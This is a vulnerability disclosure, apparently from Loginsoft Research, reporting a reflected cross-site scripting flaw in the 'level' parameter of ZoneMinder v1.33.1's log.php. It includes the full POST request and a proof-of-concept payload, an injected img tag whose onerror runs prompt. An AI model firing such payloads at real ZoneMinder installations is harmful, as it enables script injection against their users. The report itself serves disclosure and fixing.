POST - Reflected Cross Site Scripting(XSS) - log.php

[Loginsoft-Research]

Describe Your Environment

• ZoneMinder v1.33.1
• Installed from - ppa:iconnor/zoneminder-master

Describe the bug
The parameter value level, is displayed insecurely, without applying any proper output filtration leading to XSS

To Reproduce
Affected URL :
http://localhost/zm/index.php

POST Data - browser[name]=chrome&browser[platform]=win&browser[version]=41&file=http://localhost/zm/?filter[Query][terms][0][attr]=MonitorId&filter[Query][terms][0][op]==&filter[Query] [terms][0][val]=19&level="><img src=x onerror=prompt('1');>&line=128&message=ReferenceError: Can't find variable: createPopup&page=1&request=log&task=create&view=events&view=request

Payload used - "><img src=x onerror=prompt('1');>

• Navigate to the Affected URL, Payload would be triggered.

Expected behavior

• Proper escaping of special characters.

Debug Logs

None